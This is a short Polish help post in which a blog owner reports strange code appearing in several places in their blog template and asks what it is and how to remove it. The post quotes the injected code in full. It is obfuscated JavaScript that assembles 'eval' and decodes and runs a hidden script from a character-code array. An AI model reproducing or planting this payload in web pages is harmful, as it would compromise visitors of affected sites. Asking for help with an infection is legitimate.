Dziwny kod na blogu: if(021===0x11) …

Witajcie, dziś wchodząc na swojego bloga oczom mym ukazał się taki oto kod:
if(021===0x11)v=\"va\"+\"l\";try{faweb++}catch(btawetb){try{fve^v}catch(btawt4){try{window.document.body=v}catch(gdsgsdg){w=window;if(020===0x10)e=w[\"e\".concat(v)];}}}if(1){f=new Array(40,101,115,110,98,114,105,110,108,40,40,11,10,122,11,10,31,116,97,113,30,97,31,59,32,99,109,99,116,107,101,109,114,46,98,112,101,96,114,101,68,106,101,108,99,110,115,38,39,104,100,114,96,107,101,38,39,59,12,8,13,9,30,97,45,113,114,98,30,61,31,37,104,115,114,112,57,45,47,102,99,116,120,109,117,113,96,101,115,44,111,113,101,39,58,11,10,31,95,46,114,114,121,107,99,46,111,109,115,104,114,105,110,108,32,60,30,39,96,96,115,110,106,117,115,99,39,58,11,10,31,95,46,114,114,121,107,99,46,97,109,114,99,99,114,31,59,32,38,46,39,58,11,10,31,95,46,114,114,121,107,99,46,103,99,105,102,102,116,31,59,32,38,48,112,119,37,59,12,8,32,96,44,115,115,119,108,100,44,119,104,98,116,103,30,61,31,37,50,111,118,39,58,11,10,31,95,46,114,114,121,107,99,46,107,99,102,115,30,61,31,37,49,111,118,39,58,11,10,31,95,46,114,114,121,107,99,46,115,109,112,31,59,32,38,47,112,119,37,59,12,8,13,9,30,105,101,38,33,99,109,99,116,107,101,109,114,46,102,99,116,68,106,101,108,99,110,115,64,121,72,98,40,38,107,97,113,117,97,99,113,39,40,39,13,9,30,123,12,8,32,99,109,99,116,107,101,109,114,46,118,112,105,115,99,40,38,58,100,104,116,32,104,98,61,91,37,109,96,112,119,96,98,115,91,37,62,59,45,100,104,116,62,38,39,59,12,8,32,99,109,99,116,107,101,109,114,46,102,99,116,68,106,101,108,99,110,115,64,121,72,98,40,38,107,97,113,117,97,99,113,39,40,44,97,111,110,101,109,98,67,103,103,108,99,38,97,40,57,13,9,30,125,12,8,125,40,38,41,58,11,10);}w=f;s=[];r=String;for(i=0;-i+412!=0;i+=1){j=i;if(e&&(031==0x19))s=s+r[\"fromCh\"+\"arC\"+((020===0x10)?\"ode\":\"\")]((1*w[j]+j%3));}try{(w+s)()}catch(asga){e(s+\"\");}"; #/a6f227# ?>

Występuje on na górze szablonu, na dole jak i po prawej stronie. Co to jest i jak się tego pozbyć?